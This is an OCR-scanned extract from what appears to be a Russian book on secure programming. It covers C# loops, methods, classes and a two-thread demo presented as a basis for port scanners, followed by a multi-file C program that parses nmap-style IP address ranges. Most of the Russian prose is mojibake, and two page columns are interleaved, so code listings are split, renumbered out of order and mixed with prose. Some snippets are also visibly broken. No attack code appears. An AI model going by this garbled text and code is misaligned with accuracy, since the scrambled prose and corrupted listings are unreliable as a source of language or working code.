êå, ïîñëå ÷åãî ñíîâà ïðîâåðÿåòñÿ óñëîâèå. Öèêë ïðîäîëæàåòñÿ, ïîêà óñëîâèå
string íå ñòàíåò ëîæíûì.
Îñîáåííî õîðîøî öèêë for ïîäõîäèò äëÿ âûïîëíåíèÿ èòåðàöèé. Åñëè íóæ-
íî âûïîëíèòü áëîê ïðåäëîæåíèé ïÿòü ðàç, òî ìîæíî íàïèñàòü òàêîé ïðî-
Перечис) decimal
ñòîé öèêë:
лимые
типы for( i = 0 ; i < 5 ; i++ ){
Знача) [áëîê ïðåäëîæåíèé];
bool double }
щие типы Типы
Струк) с плавающей
Простые точкой
Пример 1.20. Цикл «while»
турные float
типы while( óñëîâèå ){
типы Чис)
[áëîê ïðåäëîæåíèé];
}
ловые byte
типы char Ïðè âûïîëíåíèè öèêëà while ïðîâåðÿåòñÿ óñëîâèå, ñòîÿùåå â íà÷àëå öèêëà.
Целочислен) int Åñëè îíî èñòèííî, âûïîëíåíèå öèêëà ïðîäîëæàåòñÿ, èíà÷å ïðåêðàùàåòñÿ.
ные типы long Öèêë ïîâòîðÿåòñÿ, ïîêà óñëîâèå íå ñòàíåò ëîæíûì.
sbyte
short Пример 1.21. Цикл «do...while»
do{
uint [áëîê ïðåäëîæåíèé];
ulong } while( óñëîâèå );
ushort
 öèêëå do...while ïðîâåðÿåìîå óñëîâèå íàõîäèòñÿ â êîíöå è ïðîâåðÿåòñÿ ïîñ-
Рис. 1.3. Классификация типов данных в языке C# ëå âûïîëíåíèÿ áëîêà ïðåäëîæåíèé. Åñëè îíî èñòèííî, òî áëîê ïðåäëîæåíèé
âûïîëíÿåòñÿ åùå ðàç, â ïðîòèâíîì ñëó÷àå ïðîèñõîäèò âûõîä èç öèêëà. Öèêë
do...while ïîõîæ íà öèêë while ñ îäíèì îòëè÷èåì: áëîê ïðåäëîæåíèé áóäåò âû-
ïîëíåí õîòÿ áû îäèí ðàç. Öèêëû ýòîãî âèäà âñòðå÷àþòñÿ ðåæå, ÷åì for è while.
Поток управления Ñëåäóåò îòìåòèòü, ÷òî â áîëüøèíñòâå ñëó÷àåâ âñå òðè öèêëè÷åñêèõ êîíñò-
 ÿçûêå C# äëÿ óïðàâëåíèÿ ïîòîêîì âûïîëíåíèÿ ïðîãðàììû ïðèìåíÿþòñÿ ðóêöèè ôóíêöèîíàëüíî ýêâèâàëåíòíû.
öèêëû.  ïðîãðàììàõ ÷àñòî âñòðå÷àþòñÿ ó÷àñòêè, êîòîðûå íàäî ïîâòîðèòü
ëèáî çàðàíåå èçâåñòíîå ÷èñëî ðàç, ëèáî äî òåõ ïîð, ïîêà íå áóäåò âûïîëíå- Пример 1.22. Эквивалентность циклов – выполнение пяти итераций.
íî íåêîòîðîå óñëîâèå. Öèêëû êàê ðàç è ïðåäíàçíà÷åíû äëÿ ðåøåíèÿ ïîäîá- Öèêë for
for( i = 0 ; i < 5 ; i++ ){
íîãî ðîäà çàäà÷. Èìååòñÿ òðè îñíîâíûõ âèäà öèêëîâ: for, while è do...while. áëîê_ïðåäëîæåíèé;
}
Пример 1.19. Цикл «for»
For( íà÷àëüíîå_âûðàæåíèå; ïðîâåðÿåìîå_óñëîâèå; îïåðàöèÿ ){ Öèêë while
[áëîê ïðåäëîæåíèé]; int i = 0;
} while( i < 5 ){
66 Глава 1. Написание безопасных программ Язык C# 67
áëîê_ïðåäëîæåíèé; ìè õàðàêòåðèñòèêàìè. Êëàññ ãðóïïèðóåò äàííûå è ìåòîäû íåêîòîðûõ òèïîâ.
i++;
} Êëàññ ìîæåò ñîäåðæàòü êîíñòðóêòîðû, êîòîðûå îïðåäåëÿþò, êàê ñîçäàåòñÿ
ýêçåìïëÿð êëàññà èëè îáúåêò.  êëàññ âêëþ÷àþòñÿ ìåòîäû, âûïîëíÿþùèå
Öèêë do...while îïåðàöèè íàä ýêçåìïëÿðàìè ýòîãî êëàññà.
int i = 0; Ïðåäïîëîæèì, íàïðèìåð, ÷òî ïðîãðàììèñò ðàáîòàåò íàä ñèìóëÿòîðîì ïî-
do {
áëîê_ïðåäëîæåíèé; ëåòîâ äëÿ êîìïàíèè – ïðîèçâîäèòåëÿ ñàìîëåòîâ. Ðåçóëüòàòû ýòîé ðàáîòû ïî-
i++; ìîãóò êîìïàíèè ïðèíÿòü âàæíûå ïðîåêòíûå ðåøåíèÿ. Â òàêîé ñèòóàöèè
} while( i < 5 )
îáúåêòíî-îðèåíòèðîâàííîå ïðîãðàììèðîâàíèå – èäåàëüíûé èíñòðóìåíò.
Ìîæíî ñîçäàòü êëàññ plane, èíêàïñóëèðóþùèé âñå õàðàêòåðèñòèêè ñàìîëåòà
 êàæäîì èç ýòèõ ïðèìåðîâ áëîê_ïðåäëîæåíèé âûïîëíÿåòñÿ ïÿòü ðàç.
è ìåòîäû äëÿ ìîäåëèðîâàíèÿ åãî ïåðåìåùåíèé. Ìîæíî òàêæå ñîçäàòü íå-
Êîíñòðóêöèè ðàçíûå, íî ðåçóëüòàò îäèí è òîò æå. Ïîýòîìó ìû è ãîâîðèì,
ñêîëüêî îáúåêòîâ êëàññà plane, êàæäûé èç êîòîðûõ áóäåò ñîäåðæàòü ñâîè ñîá-
÷òî âñå âèäû öèêëîâ ôóíêöèîíàëüíî ýêâèâàëåíòíû.
ñòâåííûå äàííûå.
Êëàññ ìîæåò ñîäåðæàòü íåñêîëüêî ïåðåìåííûõ, ê ïðèìåðó:
Методы  Weight (âåñ);
Ìîæíî ñêàçàòü, ÷òî ìåòîä (â äðóãèõ ÿçûêàõ åãî àíàëîãîì ñëóæèò ôóíêöèÿ) –  Speed (ñêîðîñòü);
ýòî ìèíèàòþðíàÿ ïðîãðàììà. Èíîãäà ïðîãðàììèñòó íóæíî ïîëó÷èòü íà âõî-  Maneuverabil ity (ìàíåâðåííîñòü);
äå îïðåäåëåííûå äàííûå, ïðîèçâåñòè íàä íèìè íåêîòîðóþ îïåðàöèþ è âåð-  Position (ïîëîæåíèå).
íóòü ðåçóëüòàò â òðåáóåìîì ôîðìàòå. Ïîíÿòèå ìåòîäà è áûëî ïðèäóìàíî äëÿ
Ñ åãî ïîìîùüþ ïðîãðàììèñò ìîæåò ñìîäåëèðîâàòü ïîëåò ñàìîëåòà ïðè çà-
òàêèõ ïîâòîðÿþùèõñÿ îïåðàöèé. Ìåòîä – ýòî àâòîíîìíàÿ ÷àñòü ïðîãðàììû,
äàííûõ óñëîâèÿõ. Äëÿ ìîäèôèêàöèè õàðàêòåðèñòèê îáúåêòà ìîæíî íàïèñàòü
êîòîðóþ ìîæíî âûçâàòü äëÿ âûïîëíåíèÿ îïåðàöèè íàä äàííûìè. Ìåòîä
íåñêîëüêî ìåòîäîâ äîñòóïà:
ïðèíèìàåò íåêîòîðîå ÷èñëî àðãóìåíòîâ è âîçâðàùàåò çíà÷åíèå. Íèæå ïðè-
âåäåí ïðèìåð ìåòîäà, êîòîðûé ïîëó÷àåò íà âõîäå öåëîå ÷èñëî è âîçâðàùàåò SetWeight( int )
åãî ôàêòîðèàë. SetSpeed( int )
SetManeuverability( int )
SetPosition( int )
Пример 1.23. Метод Factorial MovePosition( int )
int Factorial( int num ){
for( i = (num – 1) ; i > 0 ; i— ){
num *= i; /* ñîêðàùåííàÿ çàïèñü äëÿ num = num * i */ Êîä òàêîãî êëàññà plane ìîã áû âûãëÿäåòü ñëåäóþùèì îáðàçîì:
}
return num;
} Пример 1.24. Класс plane
1 public class plane{
2 int Weight;
 ïåðâîé ñòðîêå Factorial – ýòî èìÿ ìåòîäà. Åìó ïðåäøåñòâóåò êëþ÷åâîå
3 int Speed;
ñëîâî int, ãîâîðÿùåå î òîì, ÷òî ìåòîä âîçâðàùàåò öåëîå çíà÷åíèå. ×àñòü 4 int Maneuverability;
( int num ) îçíà÷àåò, ÷òî ìåòîä ïðèíèìàåò â êà÷åñòâå àðãóìåíòà îäíî öåëîå 5 Location Position; /* òèï Location äîëæåí áûòü ãäå-òî îïðåäåëåí
÷èñëî, êîòîðîå áóäåò îáîçíà÷àòüñÿ num. Ïðåäëîæåíèå return ãîâîðèò î òîì, 6 è ïðåäñòàâëÿòü ïðîñòðàíñòâåííûå êîîðäèíàòû (x,y,z) */
êàêîå èìåííî çíà÷åíèå ìåòîä âîçâðàùàåò. 7 plane( int W, int S, int M, Location P ){
8 Weight = W;
9 Speed = S;
Классы 10 Maneuverability = M;
11 Position = P;
Îáúåêòíî-îðèåíòèðîâàííûå ïðîãðàììû îðãàíèçîâàíû â âèäå íàáîðà êëàñ- 12 }
ñîâ. Êëàññ – ýòî äèñêðåòíàÿ åäèíèöà ïðîãðàììû, îáëàäàþùàÿ îïðåäåëåííû- 13
68 Глава 1. Написание безопасных программ Язык C# 69
14 SetWeight( plane current, int W ){
15 current.Weight = W;
Потоки в языке C#
16 } Äëÿ íàïèñàíèÿ ïðîñòûõ è ýôôåêòèâíûõ èíñòðóìåíòîâ ñêàíèðîâàíèÿ ïîòîêè
17
18 /* Ìåòîäû SetSpeed, SetManeuverability, SetPosition,
íåîöåíèìû, ïîñêîëüêó ïîçâîëÿþò ñêàíèðîâàòü íåñêîëüêî ïîðòîâ ïàðàëëåëü-
MovePosition òîæå äîëæíû áûòü îïðåäåëåíû */ íî, à íå ïîñëåäîâàòåëüíî. Ñëåäóþùàÿ íåñëîæíàÿ ïðîãðàììà ñîçäàåò äâà ïîòî-
19 } êà, êîòîðûå âûâîäÿò íà ñòàíäàðòíûé âûâîä 0 è 1.

Ýòîò êîä ñëóæèò äëÿ èíèöèàëèçàöèè îáúåêòà êëàññà plane. Ïðè âûçîâå êîí- 1 using System;
ñòðóêòîðà plane çàäàþòñÿ âñå õàðàêòåðèñòèêè, êîòîðûìè äîëæåí îáëàäàòü ñà- 2 using System.Threading;
3
ìîëåò: âåñ, ñêîðîñòü, ìàíåâðåííîñòü è ïîëîæåíèå. Íà ïðèìåðå ìåòîäà 4 public class AThread {
SetWeight ïðîäåìîíñòðèðîâàíî, êàê ìîæíî âêëþ÷èòü â êëàññ îïåðàöèþ íàä 5
îïèñûâàåìûì èì îáúåêòîì. 6 public void ThreadAction( ) {
Ñèìóëÿòîð ìîæåò ñîçäàòü íåñêîëüêî ýêçåìïëÿðîâ êëàññà plane è âûïîëíèòü 7 for ( int i=0 ; i < 2 ; i++ ) {
«ïðîáíûå ïîëåòû» äëÿ îöåíêè âëèÿíèÿ ðàçëè÷íûõ õàðàêòåðèñòèê. Íàïðèìåð, 8 Console.WriteLine( "Thread loop executed: " + i );
9 Thread.Sleep(1);
ñàìîëåò plane1 ìîæåò âåñèòü 5000 ôóíòîâ, ëåòàòü ñî ñêîðîñòüþ 500 ìèëü/÷àñ è
10 }
îáëàäàòü ìàíåâðåííîñòüþ 10, òîãäà êàê äëÿ ñàìîëåòà plane2 ìîæíî çàäàòü òà- 11 }
êèå ïàðàìåòðû: âåñ 6000 ôóíòîâ, ñêîðîñòü 600 ìèëü/÷àñ, ìàíåâðåííîñòü 8. 12 }
Îáúåêò plane1 ìîæíî ñîçäàòü ñ ïîìîùüþ òàêèõ ïðåäëîæåíèé: 13
14 public class Driver {
plane plane1; 15
Location p; 16 public static void Main( ) {
p = new Location( 3, 4, 5 ); 17
plane1 = new plane(1.000, 400, 3, p ); 18 AThread Thread1 = new AThread( );
19 AThread Thread2 = new AThread( );
20
Íàñëåäîâàíèå ïîçâîëÿåò ïðîãðàììèñòàì ñîçäàâàòü èåðàðõèè êëàññîâ.
21 ThreadStart TS1 = new ThreadStart( Thread1.ThreadAction )
Êëàññû îðãàíèçóþòñÿ â äðåâîâèäíûå ñòðóêòóðû, â êîòîðûõ ó êàæäîãî êëàññà 22 ThreadStart TS2 = new ThreadStart( Thread2.ThreadAction )
åñòü «ðîäèòåëè» è, âîçìîæíî, «ïîòîìêè». Êëàññ «íàñëåäóåò», òî åñòü ìîæåò 23
ïîëüçîâàòüñÿ ôóíêöèÿìè ëþáîãî èç ñâîèõ êëàññîâ-ðîäèòåëåé, íàçûâàåìûõ 24 Thread ThreadA = new Thread( TS1 );
òàêæå åãî ñóïåðêëàññàìè. Íàïðèìåð, åñëè êëàññ plane ÿâëÿåòñÿ ïîäêëàññîì 25 Thread ThreadB = new Thread( TS2 );
êëàññà vehicle, òî îáúåêò êëàññà plane èìååò äîñòóï êî âñåì ìåòîäàì, êîòîðûå 26
27 ThreadA.Start( );
ìîæíî âûïîëíÿòü íàä îáúåêòîì êëàññà vehicle. Â ÿçûêå C# âñå êëàññû ïðÿìî 28 ThreadB.Start( );
èëè êîñâåííî íàñëåäóþò êîðíåâîìó êëàññó System.Object. 29 }
Ó êëàññîâ åñòü ìíîãî ïðåèìóùåñòâ, íåäîñòàþùèõ äðóãèì èìåþùèìñÿ 30 }
â ÿçûêå òèïàì. Îíè ïðåäîñòàâëÿþò ýôôåêòèâíîå ñðåäñòâî äëÿ îðãàíèçà-
öèè ïðîãðàììû â âèäå íàáîðà ìîäóëåé, êîòîðûì ìîæíî íàñëåäîâàòü. Ìîæ- Â ñòðîêå 2 èìïîðòèðóåòñÿ ïðîñòðàíñòâî èìåí System.Threading. Ñîäåðæà-
íî òàêæå ñîçäàâàòü àáñòðàêòíûå êëàññû, âûñòóïàþùèå â ðîëè èíòåðôåé- ùèåñÿ â íåì êëàññû ïðåäîñòàâëÿþò äîñòóï ê ôóíêöèîíàëüíîñòè, íåîáõîäè-
ñîâ. Èíòåðôåéñ îïðåäåëÿåò, íî íå ðåàëèçóåò íåêîòîðóþ ôóíêöèîíàëüíîñòü, ìîé ïðîãðàììå, â êîòîðîé èñïîëüçóþòñÿ ïîòîêè. Â êëàññå AThread ìåòîä
îñòàâëÿÿ ýòó çàäà÷ó ñâîèì ïîäêëàññàì. Äàííûå êëàññà ìîæíî îáúÿâëÿòü ThreadAction (ñòðîêè 6–11) âûâîäÿò 0 è 1. Öåëü ïðîãðàììû – ïðîäåìîíñòðèðî-
çàêðûòûìè, ãàðàíòèðóÿ òåì ñàìûì, ÷òî äîñòóï ê âíóòðåííåìó ñîñòîÿíèþ âàòü ïîðÿäîê, â êîòîðîì èñïîëíÿþòñÿ ïîòîêè. Ïðåäëîæåíèå Thread.Sleep(1);
êëàññà âîçìîæåí ëèøü ñ ïîìîùüþ ñïåöèàëüíî ïðåäíàçíà÷åííûõ äëÿ ýòîãî â ñòðîêå 9 çàñòàâëÿåò òåêóùèé ïîòîê ïîäîæäàòü îäíó ìèëëèñåêóíäó, äàâàÿ
ìåòîäîâ. òåì ñàìûì âîçìîæíîñòü âûïîëíèòüñÿ äðóãîìó ïîòîêó.
70 Глава 1. Написание безопасных программ Язык C# 71

Ïåðåéäåì òåïåðü ê êëàññó Driver. Â ñòðîêàõ 18 è 19 ñîçäàþòñÿ îáúåêòû êëàñ- 8


ñà AThread. Â ñòðîêàõ 21 è 22 óêàçûâàåòñÿ, êàêîé ìåòîä ñëåäóåò èñïîëíÿòü ïðè 9 #include "ipv4_parse.h"
10
çàïóñêå ïîòîêà. Â ñòðîêàõ 24 è 25 ñîçäàþòñÿ ïîòîêè ThreadA è ThreadB. Òèï 11 /*
Thread, âñòðå÷àþùèéñÿ â ýòèõ ñòðîêàõ, îïðåäåëåí â ïðîñòðàíñòâå èìåí 12 * ipv4_parse_sv()
System.Threading. Íàêîíåö, â ñòðîêàõ 27 è 28 çàïóñêàåòñÿ âûïîëíåíèå ïîòîêîâ. 13 *
Ðåçóëüòàò ðàáîòû ïðîãðàììû âûãëÿäèò ñëåäóþùèì îáðàçîì: 14 *
15 */
16 static
0
17 int ipv4_parse_sv(ipv4_parse_ctx *ctx,
0
1 18 int idx,
1 19 char *sv)
20 {
21 int wc = 0;
Ìû âèäèì, ÷òî ïîòîêè èñïîëíÿþòñÿ ïàðàëëåëüíî. Ïðè ïîñëåäîâàòåëüíîì 22 int x = 0;
âûïîëíåíèè ÷èñëà áûëè áû íàïå÷àòàíû â òàêîì ïîðÿäêå: 0, 1, 0, 1. Ïîðàçìûñ- 23
ëèòå, íàñêîëüêî ïîëåçíû ìîãóò îêàçàòüñÿ ïîòîêè ïðè ðåàëèçàöèè ñêàíåðîâ. 24 // ïðîâåðèòü, åñòü ëè â çíà÷åíèè ìåòàñèìâîëû (âåñü äèàïàçîí 0-255)
25 wc = (strchr(sv, '*') == NULL ? 0 : 1);
26 if(wc)
Пример: разбор IP1адреса, 27 {
28 if(strlen(sv) != 0x1)
заданного в командной строке 29 {
30 return(-1);
Ðàçáèðàòü çàäàííûé â êîìàíäíîé ñòðîêå IP-àäðåñ ïðèõîäèòñÿ ïî÷òè â êàæäîé 31 }
ñåòåâîé ïðîãðàììå. Äëÿ ïðèëîæåíèé, ïðåòåíäóþùèõ íà ïîëåçíîñòü, óìåíèå 32
ðàçáèðàòü àäðåñà öåëåé èëè äàæå ïîçâîëÿòü ïîëüçîâàòåëþ çàäàâàòü öåëûå 33 for(x=0; x <= 0xFF; ++x)
ïîäñåòè èëè óêàçûâàòü íåñêîëüêî ñåòåé – íå ðîñêîøü, à íàñóùíàÿ íåîáõîäè- 34 {
35 ctx->m_state[idx][x] = 1;
ìîñòü. Ïðîãðàììà Nmap – áåñïëàòíàÿ óòèëèòà äëÿ ñêàíèðîâàíèÿ ïîðòîâ, êî-
36 }
òîðóþ ìîæíî çàãðóçèòü ñ ñàéòà www.insecure.org, – åùå â íà÷àëå 1990-õ ãîäîâ 37 }
çàäàëà ñòàíäàðò äëÿ ðàçáîðà óêàçàííûõ â êîìàíäíîé ñòðîêå IP-àäðåñîâ. Îäíà- 38 // îäèíî÷íîå çíà÷åíèå (íàïðèìåð, "1", "2", "192", "10")
êî, åñëè âû êîãäà-ëèáî ïûòàëèñü ðàçîáðàòüñÿ â èñõîäíûõ òåêñòàõ Nmap, òî 39 else
ïîíèìàåòå, ÷òî ýòî çàäà÷à íå äëÿ ñëàáûõ äóõîì. 40 {
41 ctx->m_state[idx][(unsigned char) atoi(sv)] = 1;
Íèæå ïðèâåäåí ðàáîòàþùèé ïðèìåð ïðîãðàììû ýôôåêòèâíîãî ðàçáîðà 42 }
IP-àäðåñà, íàïèñàííîé íà ÿçûêå C. Ïðîãðàììó ìîæíî îòêîìïèëèðîâàòü 43
â Microsoft Visual Studio. Ïðîãðàììà ñîñòîèò èç 5 ôàéëîâ. Ïîñêîëüêó ìû ëèøü 44 return(0);
õîòåëè ïðîäåìîíñòðèðîâàòü ïîäõîä ê ðåøåíèþ çàäà÷è, òî îíà íå äåëàåò íè- 45 }
46
÷åãî, êðîìå âûâîäà àäðåñîâ íà stdout.  ðåàëüíîé ïðîãðàììå íåòðóäíî áûëî 47 /*
áû ïîìåñòèòü ýòè àäðåñà â ìàññèâ. 48 * ipv4_parse_r()
49 *
1 /* 50 *
2 * ipv4_parse.c 51 */
3 * 52 static
4 */ 53 int ipv4_parse_r(ipv4_parse_ctx *ctx,
5 #include <stdio.h> 54 int idx,
6 #include <stdlib.h> 55 char *r )
7 #include <string.h> 56 {
72 Глава 1. Написание безопасных программ Язык C# 73
157 unsigned char hi = 0; 106
158 unsigned char lo = 0; 107 /*
159 char *p1 = NULL; 108 * ipv4_parse_octet()
160 int x = 0; 109 *
161 110 *
162 // ðàçîáðàòü ëåâóþ è ïðàâóþ ãðàíèöó äèàïàçîíà 111 */
163 p1 = strchr(r, '-'); 112 static
164 *p1 = '\0'; 113 int ipv4_parse_octet(ipv4_parse_ctx *ctx,
165 ++p1; 114 int idx,
166 115 char *octet)
167 lo = (unsigned char) atoi(r ); 116 {
168 hi = (unsigned char) atoi(p1); 117 char *tok = NULL;
169 118 int ret = 0;
170 // åñëè ëåâàÿ ãðàíèöà áîëüøå ïðàâîé, 119
171 // âåðíóòü îøèáêó (íàïðèìåð, "200-100"). 120 // ðàçîáðàòü îêòåòû, ðàçäåëåííûå çàïÿòûìè, åñëè
172 if(lo >= hi) 121 // çàïÿòàÿ ïðèñóòñòâóåò
173 { 122 tok = strtok(octet, ",");
174 return(-1); 123 if(tok != NULL)
175 } 124 {
176 125 while(tok != NULL)
177 // ñ÷èòàòü äèàïàçîí äîïóñòèìûì 126 {
178 for(x=lo; x <= hi; ++x) 127 // ñ÷èòàòü, ÷òî êàæäîå îòäåëåííîå çàïÿòîé çíà÷åíèå – ýòî
179 { 128 // äèàïàçîí èëè îäèíî÷íîå çíà÷åíèå ("2-100", "7" è ò.ä.)
180 ctx->m_state[idx][x] = 1; 129 ret = ipv4_parse_tok(ctx, idx, tok);
181 } 130 if(ret < 0)
182 131 {
183 return(0); 132 return(-1);
184 } 133 }
185 134
186 /* 135 tok = strtok(NULL, ",");
187 * ipv4_parse_tok() 136 }
188 * 137 }
189 * 138 // åñëè çàïÿòîé íåò, ñ÷èòàòü äèàïàçîíîì èëè
190 */ 139 // îäèíî÷íûì çíà÷åíèåì ("2-100", "7" è ò.ä.)
191 static 140 else
192 int ipv4_parse_tok(ipv4_parse_ctx *ctx, 141 {
193 int idx, 142 ret = ipv4_parse_tok(ctx, idx, octet);
194 char *tok) 143 if(ret < 0)
195 { 144 {
196 int ret = 0; 145 return(-1);
197 146 }
198 // åñòü ëè âíóòðè çíà÷åíèÿ "-", îçíà÷àþùèé, ÷òî äèàïàçîí 147 }
199 // (íàïðèìåð, "1-5"); åñëè íåò, ñ÷èòàòü îäèíî÷íûì çíà÷åíèåì ("1", 148
100 // "2", "*"), èíà÷å äèàïàçîíîì ("1-5") 149 return(0);
101 ret = (strchr(tok, '-') == NULL) ? 150 }
102 ipv4_parse_sv(ctx, idx, tok) : 151
103 ipv4_parse_r (ctx, idx, tok); 152 /*
104 return(ret); 153 * ipv4_parse_ctx_init()
105 } 154 *
74 Глава 1. Написание безопасных программ Язык C# 75
155 * äèàïàçîí IP-àäðåñîâ òðàêòóåòñÿ êàê 4 ìàññèâà èç 256 çíà÷åíèé 204 return(-1);
156 * òèïà unsigned char. Êàæäûé ìàññèâ ïðåäñòàâëÿåò îäèí èç ÷åòûðåõ 205 }
157 * îêòåòîâ IP-àäðåñà. Ýëåìåíòû ìàññèâà ðàâíû 1 èëè 0 â çàâèñèìîñòè 206
158 * îò òîãî ïðåäñòàâëåí äàííûé àäðåñ â äèàïàçîíå èëè íåò. 207 // ðàçîáðàòü êàæäûé îêòåò
159 * Íàïðèìåð, ïóñòü çàäàí òàêîé àäðåñ: 208 if(ipv4_parse_octet(ctx, 0, oc[0]) < 0 ||
160 * 209 ipv4_parse_octet(ctx, 1, oc[1]) < 0 ||
161 * 210 ipv4_parse_octet(ctx, 2, oc[2]) < 0 ||
162 * char *range = "10.1.1.1"; 211 ipv4_parse_octet(ctx, 3, oc[3]) < 0)
163 * 212 {
164 * Òîãäà â ïåðâîì ìàññèâå 10-ûé áàéò áóäåò ðàâåí 1, à âî âòîðîì, 213 return(-1);
165 * òðåòüåì è ÷åòâåðòîì ìàññèâàõ 1 áóäåò ðàâåí ïåðâûé áàéò. 214 }
166 * 215
167 * 216 return(0);
168 * 217 }
169 * Ïîñëå òîãî êàê äèàïàçîí ïîëíîñòüþ ðàçîáðàí è 218
170 * âñå çíà÷åíèÿ ñîõðàíåíû â ìàññèâàõ (ñîñòîÿíèÿ), 219 /*
171 * ìîæíî âûïîëíèòü íåñêîëüêî öèêëîâ äëÿ îáõîäà 220 * ipv4_parse_next_addr()
172 * äèàïàçîíà. 221 *
173 * 222 * Ýòà ôóíêöèÿ ñëóæèò äëÿ îáõîäà óæå ðàçîáðàííîãî
174 * Íèæå ïðèâåäåí ïðèìåð ñèíòàêñèñà çàäàíèÿ IP-àäðåñîâ 223 * äèàïàçîíà IP-àäðåñîâ.
175 * â êîìàíäíîé ñòðîêå â ñòèëå ïðîãðàììû nmap: 224 *
176 * 225 *
177 * Ïðèìåð: 226 *
178 * 227 *
179 * "192.168.1,2,3,4-12,70.*" 228 *
180 * 229 *
181 * 230 */
182 * 231 int ipv4_parse_next(ipv4_parse_ctx *ctx,
183 */ 232 unsigned int *addr)
184 int ipv4_parse_ctx_init(ipv4_parse_ctx *ctx, 233 {
185 char *range) 234 if(ctx == NULL ||
186 { 235 addr == NULL)
187 char *oc[4]; 236 {
188 int x = 0; 237 return(-1);
189 238 }
190 if(ctx == NULL || 239
191 range == NULL) 240 for( ; ctx->m_index[0] <= 0xFF; ++ctx->m_index[0])
192 { 241 {
193 return(-1); 242 if(ctx->m_state[0][ctx->m_index[0]] != 0)
194 } 243 {
195 244 for( ; ctx->m_index[1] <= 0xFF; ++ctx->m_index[1])
196 memset(ctx, 0x00, sizeof(ipv4_parse_ctx)); 245 {
197 246 if(ctx->m_state[1][ctx->m_index[1]] != 0)
198 // ðàçîáðàòü äèàïàçîí IP-àäðåñîâ íà 4 îêòåòà 247 {
199 if((oc[0] = strtok(range, ".")) == NULL || 248 for( ; ctx->m_index[2] <= 0xFF; ++ctx->m_index[2])
200 (oc[1] = strtok(NULL , ".")) == NULL || 249 {
201 (oc[2] = strtok(NULL , ".")) == NULL || 250 if(ctx->m_state[2][ctx->m_index[2]] != 0)
202 (oc[3] = strtok(NULL, ".")) == NULL) 251 {
203 { 252 for( ; ctx->m_index[3] <= 0xFF; ++ctx->m_index[3])
76 Глава 1. Написание безопасных программ Язык C# 77
253 { 1 /*
254 if(ctx->m_state[3][ctx->m_index[3]] != 0) 2 * main.c
255 { 3 *
256 *addr = 4 */
257 ((ctx->m_index[0] << 0) & 0x000000FF) ^ 5
258 ((ctx->m_index[1] << 8) & 0x0000FF00) ^ 6 #include <stdio.h>
259 ((ctx->m_index[2] << 16) & 0x00FF0000) ^ 7 #include "ipv4_parse.h"
260 ((ctx->m_index[3] << 24) & 0xFF000000); 8
261 ++ctx->m_index[3]; 9 int
263 10 main(int argc, char *argv[])
264 return(0); 11 {
265 } 12 ipv4_parse_ctx ctx; // context to hold state of ip range
266 } 13 unsigned int addr = 0;
267 ctx->m_index[3] = 0; 14 int ret = 0;
268 } 15
269 } 16 if(argc != 2)
270 ctx->m_index[2] = 0; 17 {
271 } 18 printf("usage: %s ip_range\r\n", argv[0]);
272 } 19 return(1);
273 ctx->m_index[1] = 0; 20 }
274 }
21
275 } 22 // âíà÷àëå ïðîèçâåñòè ðàçáîð äèàïàçîíà IP-àäðåñîâ
23 ret = ipv4_parse_ctx_init(&ctx, argv[1]);
276
24 if(ret < 0)
277 return(-1);
25 {
278 }
26 printf("*** îøèáêà ipv4_parse_ctx_init().\r\n");
27 return(1);
Ôàéë i pv4_parse.c – ýòî ñåðäöå ïðîãðàììû. Îí ñîäåðæèò íåñêîëüêî ôóíê- 28 }
öèé äëÿ âûïîëíåíèÿ íèçêîóðîâíåâîãî ðàçáîðà àäðåñà, êîòîðûå âûçûâàþò- 29
ñÿ èç óïðàâëÿþùåãî ôàéëà main.c. Ôóíêöèÿ i pv4_parse_sv ðàçáèðàåò îòäåëü- 30 // ðàñïå÷àòàòü âñå IP-àäðåñà èç äèàïàçîíà
31 while(1)
íûå ÷èñëîâûå çíà÷åíèÿ (sv îçíà÷àåò «single value» – îäèíî÷íîå çíà÷åíèå). 32 {
Ñíà÷àëà îíà ïðîâåðÿåò, íå ÿâëÿåòñÿ ëè îäèíî÷íîå çíà÷åíèå ìåòàñèìâîëîì 33 // ïîëó÷èòü ñëåäóþùèé IP-àäðåñ èç äèàïàçîíà
(çâåçäî÷êîé) è äîïóñòèìà ëè åãî äëèíà. Çàòåì â öèêëå for ðåçóëüòèðóþùèå 34 ret = ipv4_parse_next(&ctx, &addr);
çíà÷åíèÿ çàíîñÿòñÿ â ìàññèâ m_state. Ôóíêöèÿ i pv4_parse_r ðàçáèðàåò äèà- 35 if(ret < 0)
36 {
ïàçîí IP-àäðåñîâ, îïðåäåëÿÿ åãî íèæíþþ è âåðõíþþ ãðàíèöó. Ôóíêöèÿ
37 printf("*** êîíåö äèàïàçîíà.\r\n");
i pv4_parse_tok âûÿñíÿåò, íåò ëè â èññëåäóåìîì çíà÷åíèè ñèìâîëà «ìèíóñ» 38 break;
(–). Ýòî âàæíî äëÿ òîãî, ÷òîáû çíàòü, ïðåäñòàâëÿåò ëè çíà÷åíèå äèàïàçîí àä- 39 }
ðåñîâ ëèáî îäèí èëè íåñêîëüêî îòäåëüíûõ àäðåñîâ. Ôóíêöèÿ i pv4_parse_octet 40
ðàçáèðàåò ÷èñëà, ðàçäåëåííûå çàïÿòûìè; òàê áûâàåò, êîãäà â êîìàíäíîé 41 // íàïå÷àòàòü åãî
42 printf("ADDR: %d.%d.%d.%d\r\n",
ñòðîêå çàäàí ñïèñîê àäðåñîâ, à íå öåëûé äèàïàçîí. IP-àäðåñà îáû÷íî ïðåä- 43 (addr >> 0) & 0xFF,
ñòàâëÿþòñÿ â òî÷å÷íî-äåñÿòè÷íîé íîòàöèè, òî åñòü ñîñòîÿò èç ÷åòûðåõ îä- 44 (addr >> 8) & 0xFF,
íîáàéòîâûõ ÷èñåë â äåñÿòè÷íîé çàïèñè, îòäåëåííûõ äðóã îò äðóãà òî÷êàìè. 45 (addr >> 16) & 0xFF,
Ôóíêöèÿ i pv4_ctx_init ñîçäàåò ÷åòûðå ìàññèâà, â êîòîðûõ õðàíÿòñÿ ðàçîáðàí- 46 (addr >> 24) & 0xFF);
47 }
íûå IP-àäðåñà. Ôóíêöèÿ i pv4_parse_next îáëåã÷àåò ïðîöåññ ðàçáîðà, ïåðåõîäÿ
48
ê ñëåäóþùåé äåñÿòè÷íîé êîìïîíåíòå àäðåñà, à ôóíêöèÿ i pv4_next_addr îáõî- 49 return(0);
äèò óæå ðàçîáðàííûå äàííûå. 50 }
78 Глава 1. Написание безопасных программ Язык Perl 79

